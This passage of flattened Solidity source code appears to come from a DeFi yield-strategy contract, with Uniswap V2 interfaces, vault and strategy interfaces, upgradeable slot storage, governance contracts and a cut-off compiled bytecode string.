amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity 0.5.16; interface IStrategy { function unsalvagableTokens(address tokens) external view returns (bool); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function vault() external view returns (address); function withdrawAllToVault() external; function withdrawToVault(uint256 amount) external; function investedUnderlyingBalance() external view returns (uint256); // itsNotMuch() // should only be called by controller function salvage(address recipient, address token, uint256 amount) external; function doHardWork() external; function depositArbCheck() external view returns(bool); } pragma solidity 0.5.16; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // Unifying the interface with the Synthetix Reward Pool interface IRewardPool { function rewardToken() external view returns (address); function lpToken() external view returns (address); function duration() external view returns (uint256); function periodFinish() external view returns (uint256); function rewardRate() external view returns (uint256); function rewardPerTokenStored() external view returns (uint256); function stake(uint256 amountWei) external; // `balanceOf` would give the amount staked. // As this is 1 to 1, this is also the holder's share function balanceOf(address holder) external view returns (uint256); // total shares & total lpTokens staked function totalSupply() external view returns(uint256); function withdraw(uint256 amountWei) external; function exit() external; // get claimed rewards function earned(address holder) external view returns (uint256); // claim rewards function getReward() external; // notify function notifyRewardAmount(uint256 _amount) external; } pragma solidity 0.5.16; interface IVault { function initializeVault( address _storage, address _underlying, uint256 _toInvestNumerator, uint256 _toInvestDenominator ) external ; function balanceOf(address) external view returns (uint256); function underlyingBalanceInVault() external view returns (uint256); function underlyingBalanceWithInvestment() external view returns (uint256); // function store() external view returns (address); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function strategy() external view returns (address); function setStrategy(address _strategy) external; function announceStrategyUpdate(address _strategy) external; function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external; function deposit(uint256 amountWei) external; function depositFor(uint256 amountWei, address holder) external; function withdrawAll() external; function withdraw(uint256 numberOfShares) external; function getPricePerFullShare() external view returns (uint256); function underlyingBalanceWithInvestmentForHolder(address holder) view external returns (uint256); // hard work should be callable only by the controller (by the hard worker) or by governance function doHardWork() external; } pragma solidity 0.5.16; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./BaseUpgradeableStrategyStorage.sol"; import "../inheritance/ControllableInit.sol"; import "../interface/IController.sol"; import "../interface/IFeeRewardForwarderV6.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract BaseUpgradeableStrategy is Initializable, ControllableInit, BaseUpgradeableStrategyStorage { using SafeMath for uint256; using SafeERC20 for IERC20; event ProfitsNotCollected(bool sell, bool floor); event ProfitLogInReward(uint256 profitAmount, uint256 feeAmount, uint256 timestamp); event ProfitAndBuybackLog(uint256 profitAmount, uint256 feeAmount, uint256 timestamp); modifier restricted() { require(msg.sender == vault() || msg.sender == controller() || msg.sender == governance(), "The sender has to be the controller, governance, or vault"); _; } // This is only used in `investAllUnderlying()` // The user can still freely withdraw from the strategy modifier onlyNotPausedInvesting() { require(!pausedInvesting(), "Action blocked as the strategy is in emergency state"); _; } constructor() public BaseUpgradeableStrategyStorage() { } function initialize( address _storage, address _underlying, address _vault, address _rewardPool, address _rewardToken, uint256 _profitSharingNumerator, uint256 _profitSharingDenominator, bool _sell, uint256 _sellFloor, uint256 _implementationChangeDelay ) public initializer { ControllableInit.initialize( _storage ); _setUnderlying(_underlying); _setVault(_vault); _setRewardPool(_rewardPool); _setRewardToken(_rewardToken); _setProfitSharingNumerator(_profitSharingNumerator); _setProfitSharingDenominator(_profitSharingDenominator); _setSell(_sell); _setSellFloor(_sellFloor); _setNextImplementationDelay(_implementationChangeDelay); _setPausedInvesting(false); } /** * Schedules an upgrade for this vault's proxy. */ function scheduleUpgrade(address impl) public onlyGovernance { _setNextImplementation(impl); _setNextImplementationTimestamp(block.timestamp.add(nextImplementationDelay())); } function _finalizeUpgrade() internal { _setNextImplementation(address(0)); _setNextImplementationTimestamp(0); } function shouldUpgrade() external view returns (bool, address) { return ( nextImplementationTimestamp() != 0 && block.timestamp > nextImplementationTimestamp() && nextImplementation() != address(0), nextImplementation() ); } // reward notification function notifyProfitInRewardToken(uint256 _rewardBalance) internal { if( _rewardBalance > 0 ){ uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator()).div(profitSharingDenominator()); emit ProfitLogInReward(_rewardBalance, feeAmount, block.timestamp); IERC20(rewardToken()).safeApprove(controller(), 0); IERC20(rewardToken()).safeApprove(controller(), feeAmount); IController(controller()).notifyFee( rewardToken(), feeAmount ); } else { emit ProfitLogInReward(0, 0, block.timestamp); } } function notifyProfitAndBuybackInRewardToken(uint256 _rewardBalance, address pool, uint256 _buybackRatio) internal { if( _rewardBalance > 0 ){ uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator()).div(profitSharingDenominator()); uint256 buybackAmount = _rewardBalance.sub(feeAmount).mul(_buybackRatio).div(10000); address forwarder = IController(controller()).feeRewardForwarder(); emit ProfitAndBuybackLog(_rewardBalance, feeAmount, block.timestamp); IERC20(rewardToken()).safeApprove(forwarder, 0); IERC20(rewardToken()).safeApprove(forwarder, _rewardBalance); IFeeRewardForwarderV6(forwarder).notifyFeeAndBuybackAmounts( rewardToken(), feeAmount, pool, buybackAmount ); } else { emit ProfitAndBuybackLog(0, 0, block.timestamp); } } } pragma solidity 0.5.16; interface IMasterChef { function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function emergencyWithdraw(uint256 _pid) external; function userInfo(uint256 _pid, address _user) external view returns (uint256 amount, uint256 rewardDebt); function poolInfo(uint256 _pid) external view returns (address lpToken, uint256, uint256, uint256); function massUpdatePools() external; } // SPDX-License-Identifier: MIT /** *Submitted for verification at Etherscan.io on 2020-05-05 */ // File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity 0.5.16; import "@openzeppelin/upgrades/contracts/Initializable.sol"; contract BaseUpgradeableStrategyStorage { bytes32 internal constant _UNDERLYING_SLOT = 0xa1709211eeccf8f4ad5b6700d52a1a9525b5f5ae1e9e5f9e5a0c2fc23c86e530; bytes32 internal constant _VAULT_SLOT = 0xefd7c7d9ef1040fc87e7ad11fe15f86e1d11e1df03c6d7c87f7e1f4041f08d41; bytes32 internal constant _REWARD_TOKEN_SLOT = 0xdae0aafd977983cb1e78d8f638900ff361dc3c48c43118ca1dd77d1af3f47bbf; bytes32 internal constant _REWARD_POOL_SLOT = 0x3d9bb16e77837e25cada0cf894835418b38e8e18fbec6cfd192eb344bebfa6b8; bytes32 internal constant _SELL_FLOOR_SLOT = 0xc403216a7704d160f6a3b5c3b149a1226a6080f0a5dd27b27d9ba9c022fa0afc; bytes32 internal constant _SELL_SLOT = 0x656de32df98753b07482576beb0d00a6b949ebf84c066c765f54f26725221bb6; bytes32 internal constant _PAUSED_INVESTING_SLOT = 0xa07a20a2d463a602c2b891eb35f244624d9068572811f63d0e094072fb54591a; bytes32 internal constant _PROFIT_SHARING_NUMERATOR_SLOT = 0xe3ee74fb7893020b457d8071ed1ef76ace2bf4903abd7b24d3ce312e9c72c029; bytes32 internal constant _PROFIT_SHARING_DENOMINATOR_SLOT = 0x0286fd414602b432a8c80a0125e9a25de9bba96da9d5068c832ff73f09208a3b; bytes32 internal constant _NEXT_IMPLEMENTATION_SLOT = 0x29f7fcd4fe2517c1963807a1ec27b0e45e67c60a874d5eeac7a0b1ab1bb84447; bytes32 internal constant _NEXT_IMPLEMENTATION_TIMESTAMP_SLOT = 0x414c5263b05428f1be1bfa98e25407cc78dd031d0d3cd2a2e3d63b488804f22e; bytes32 internal constant _NEXT_IMPLEMENTATION_DELAY_SLOT = 0x82b330ca72bcd6db11a26f10ce47ebcfe574a9c646bccbc6f1cd4478eae16b31; constructor() public { assert(_UNDERLYING_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.underlying")) - 1)); assert(_VAULT_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.vault")) - 1)); assert(_REWARD_TOKEN_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.rewardToken")) - 1)); assert(_REWARD_POOL_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.rewardPool")) - 1)); assert(_SELL_FLOOR_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.sellFloor")) - 1)); assert(_SELL_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.sell")) - 1)); assert(_PAUSED_INVESTING_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.pausedInvesting")) - 1)); assert(_PROFIT_SHARING_NUMERATOR_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.profitSharingNumerator")) - 1)); assert(_PROFIT_SHARING_DENOMINATOR_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.profitSharingDenominator")) - 1)); assert(_NEXT_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.nextImplementation")) - 1)); assert(_NEXT_IMPLEMENTATION_TIMESTAMP_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.nextImplementationTimestamp")) - 1)); assert(_NEXT_IMPLEMENTATION_DELAY_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.nextImplementationDelay")) - 1)); } function _setUnderlying(address _address) internal { setAddress(_UNDERLYING_SLOT, _address); } function underlying() public view returns (address) { return getAddress(_UNDERLYING_SLOT); } function _setRewardPool(address _address) internal { setAddress(_REWARD_POOL_SLOT, _address); } function rewardPool() public view returns (address) { return getAddress(_REWARD_POOL_SLOT); } function _setRewardToken(address _address) internal { setAddress(_REWARD_TOKEN_SLOT, _address); } function rewardToken() public view returns (address) { return getAddress(_REWARD_TOKEN_SLOT); } function _setVault(address _address) internal { setAddress(_VAULT_SLOT, _address); } function vault() public view returns (address) { return getAddress(_VAULT_SLOT); } // a flag for disabling selling for simplified emergency exit function _setSell(bool _value) internal { setBoolean(_SELL_SLOT, _value); } function sell() public view returns (bool) { return getBoolean(_SELL_SLOT); } function _setPausedInvesting(bool _value) internal { setBoolean(_PAUSED_INVESTING_SLOT, _value); } function pausedInvesting() public view returns (bool) { return getBoolean(_PAUSED_INVESTING_SLOT); } function _setSellFloor(uint256 _value) internal { setUint256(_SELL_FLOOR_SLOT, _value); } function sellFloor() public view returns (uint256) { return getUint256(_SELL_FLOOR_SLOT); } function _setProfitSharingNumerator(uint256 _value) internal { setUint256(_PROFIT_SHARING_NUMERATOR_SLOT, _value); } function profitSharingNumerator() public view returns (uint256) { return getUint256(_PROFIT_SHARING_NUMERATOR_SLOT); } function _setProfitSharingDenominator(uint256 _value) internal { setUint256(_PROFIT_SHARING_DENOMINATOR_SLOT, _value); } function profitSharingDenominator() public view returns (uint256) { return getUint256(_PROFIT_SHARING_DENOMINATOR_SLOT); } // upgradeability function _setNextImplementation(address _address) internal { setAddress(_NEXT_IMPLEMENTATION_SLOT, _address); } function nextImplementation() public view returns (address) { return getAddress(_NEXT_IMPLEMENTATION_SLOT); } function _setNextImplementationTimestamp(uint256 _value) internal { setUint256(_NEXT_IMPLEMENTATION_TIMESTAMP_SLOT, _value); } function nextImplementationTimestamp() public view returns (uint256) { return getUint256(_NEXT_IMPLEMENTATION_TIMESTAMP_SLOT); } function _setNextImplementationDelay(uint256 _value) internal { setUint256(_NEXT_IMPLEMENTATION_DELAY_SLOT, _value); } function nextImplementationDelay() public view returns (uint256) { return getUint256(_NEXT_IMPLEMENTATION_DELAY_SLOT); } function setBoolean(bytes32 slot, bool _value) internal { setUint256(slot, _value ? 1 : 0); } function getBoolean(bytes32 slot) internal view returns (bool) { return (getUint256(slot) == 1); } function setAddress(bytes32 slot, address _address) internal { // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _address) } } function setUint256(bytes32 slot, uint256 _value) internal { // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _value) } } function getAddress(bytes32 slot) internal view returns (address str) { // solhint-disable-next-line no-inline-assembly assembly { str := sload(slot) } } function getUint256(bytes32 slot) internal view returns (uint256 str) { // solhint-disable-next-line no-inline-assembly assembly { str := sload(slot) } } } pragma solidity 0.5.16; import "./GovernableInit.sol"; // A clone of Governable supporting the Initializable interface and pattern contract ControllableInit is GovernableInit { constructor() public { } function initialize(address _storage) public initializer { GovernableInit.initialize(_storage); } modifier onlyController() { require(Storage(_storage()).isController(msg.sender), "Not a controller"); _; } modifier onlyControllerOrGovernance(){ require((Storage(_storage()).isController(msg.sender) || Storage(_storage()).isGovernance(msg.sender)), "The caller must be controller or governance"); _; } function controller() public view returns (address) { return Storage(_storage()).controller(); } } pragma solidity 0.5.16; interface IController { // [Grey list] // An EOA can safely interact with the system no matter what. // If you're using Metamask, you're using an EOA. // Only smart contracts may be affected by this grey list. // // This contract will not be able to ban any EOA from the system // even if an EOA is being added to the greyList, he/she will still be able // to interact with the whole system as if nothing happened. // Only smart contracts will be affected by being added to the greyList. // This grey list is only used in Vault.sol, see the code there for reference function greyList(address _target) external view returns(bool); function addVaultAndStrategy(address _vault, address _strategy) external; function doHardWork(address _vault) external; function hasVault(address _vault) external returns(bool); function salvage(address _token, uint256 amount) external; function salvageStrategy(address _strategy, address _token, uint256 amount) external; function notifyFee(address _underlying, uint256 fee) external; function profitSharingNumerator() external view returns (uint256); function profitSharingDenominator() external view returns (uint256); function feeRewardForwarder() external view returns(address); function setFeeRewardForwarder(address _value) external; } pragma solidity 0.5.16; interface IFeeRewardForwarderV6 { function poolNotifyFixedTarget(address _token, uint256 _amount) external; function notifyFeeAndBuybackAmounts(uint256 _feeAmount, address _pool, uint256 _buybackAmount) external; function notifyFeeAndBuybackAmounts(address _token, uint256 _feeAmount, address _pool, uint256 _buybackAmount) external; function profitSharingPool() external view returns (address); } pragma solidity 0.5.16; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./Storage.sol"; // A clone of Governable supporting the Initializable interface and pattern contract GovernableInit is Initializable { bytes32 internal constant _STORAGE_SLOT = 0xa7ec62784904ff31cbcc32d09932a58e7f1e4476e1d041995b37c917990b16dc; modifier onlyGovernance() { require(Storage(_storage()).isGovernance(msg.sender), "Not governance"); _; } constructor() public { assert(_STORAGE_SLOT == bytes32(uint256(keccak256("eip1967.governableInit.storage")) - 1)); } function initialize(address _store) public initializer { _setStorage(_store); } function _setStorage(address newStorage) private { bytes32 slot = _STORAGE_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newStorage) } } function setStorage(address _store) public onlyGovernance { require(_store != address(0), "new storage shouldn't be empty"); _setStorage(_store); } function _storage() internal view returns (address str) { bytes32 slot = _STORAGE_SLOT; // solhint-disable-next-line no-inline-assembly assembly { str := sload(slot) } } function governance() public view returns (address) { return Storage(_storage()).governance(); } } pragma solidity 0.5.16; contract Storage { address public governance; address public controller; constructor() public { governance = msg.sender; } modifier onlyGovernance() { require(isGovernance(msg.sender), "Not governance"); _; } function setGovernance(address _governance) public onlyGovernance { require(_governance != address(0), "new governance shouldn't be empty"); governance = _governance; } function setController(address _controller) public onlyGovernance { require(_controller != address(0), "new controller shouldn't be empty"); controller = _controller; } function isGovernance(address account) public view returns (bool) { return account == governance; } function isController(address account) public view returns (bool) { return account == controller; } }
0x608060405234801561001057600080fd5b50600436106102d55760003560e01c80635d44733c11610182578063ba09591e116100e9578063ce8c42e8116100a2578063f77c47911161007c578063f77c479114610787578063f7c618c11461078f578063f8e1f51e14610797578063fbfa77cf1461079f576102d5565b8063ce8c42e81461075a578063d3df8aa414610777578063db6204851461077f576102d5565b8063ba09591e146106e0578063bcd504ae146106fd578063bfd131f11461071c578063c2a2a07b14610724578063c4d66de81461072c578063c5ca7d6d14610752576102d5565b80639a508c8e1161013b5780639a508c8e146106765780639d16acfd1461067e578063a1dab23e146106a9578063a8365693146106b1578063b076a53a146106b9578063b60f151a146106d8576102d5565b80635d44733c1461057f57806366666aa9146106305780636f307dc3146106385780637fb243851461064057806382de9c1b146106485780639137c1a714610650576102d5565b80633e0dc34e116102415780634fa5d854116101fa578063575a86b2116101d4578063575a86b21461052f578063596fa9e31461053757806359bd18611461053f5780635aa6e67514610577576102d5565b80634fa5d854146104f957806350185946146105015780635641ec0314610527576102d5565b80633e0dc34e146104b45780633fc8cef3146104bc578063415b3d1b146104c4578063433efe12146104e157806345710074146104e957806345d01e4a146104f1576102d5565b80631113ef52116102935780631113ef52146103dd578063116134ee146104135780631ed22a7a1461041b5780631fe6d8ea14610488578063244474a4146104a45780632e1e0462146104ac576102d5565b8062b70eb7146102da578063026a0dd014610322578063051917941461033c57806305c67073146103a757806309ff18f0146103af5780630c80447a146103b7575b600080fd5b610306600480360360408110156102f057600080fd5b506001600160a01b0381351690602001356107a7565b604080516001600160a01b039092168252519081900360200190f35b61032a6107dc565b60408051918252519081900360200190f35b6103a5600480360361014081101561035357600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101358216916080820135169060a08101359060c08101359060e081013515159061010081013590610120013561080d565b005b61032a61091d565b610306610948565b6103a5600480360360208110156103cd57600080fd5b50356001600160a01b0316610973565b6103a5600480360360608110156103f357600080fd5b506001600160a01b03813581169160208101359091169060400135610a6a565b610306610c22565b6103a5600480360361014081101561043257600080fd5b506001600160a01b038135811691602081013582169160408201358116916060810135821691608082013581169160a08101359160c082013515159160e081013515159161010082013516906101200135610c3a565b61049061113d565b604080519115158252519081900360200190f35b610306611168565b610306611177565b61032a61118f565b6103066111ba565b6103a5600480360360208110156104da57600080fd5b50356111d2565b6104906112c7565b6104906112f2565b61032a61131d565b6103a5611467565b6104906004803603602081101561051757600080fd5b50356001600160a01b0316611562565b6103a56115a9565b610306611686565b61030661169e565b6103a56004803603606081101561055557600080fd5b506001600160a01b0381358116916020810135821691604090910135166116b6565b6103066118c2565b6103a56004803603604081101561059557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156105bf57600080fd5b8201836020820111156105d157600080fd5b803590602001918460208302840111600160201b831117156105f257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611935945050505050565b610306611a29565b610306611a54565b610306611a7f565b61032a611a97565b6103a56004803603602081101561066657600080fd5b50356001600160a01b0316611ac2565b6103a5611bf1565b610686611e7f565b6040805192151583526001600160a01b0390911660208301528051918290030190f35b61032a611ecb565b61032a611ef6565b6103a5600480360360208110156106cf57600080fd5b50351515611f21565b61032a611ff5565b6103a5600480360360208110156106f657600080fd5b5035612020565b6103a56004803603602081101561071357600080fd5b503515156120f4565b6103a56121e9565b610490612360565b6103a56004803603602081101561074257600080fd5b50356001600160a01b0316612365565b610306612411565b6103a56004803603602081101561077057600080fd5b503561243c565b610490612622565b6103a561264d565b610306612722565b610306612764565b61030661278f565b6103066127a7565b603360205281600052604060002081815481106107c057fe5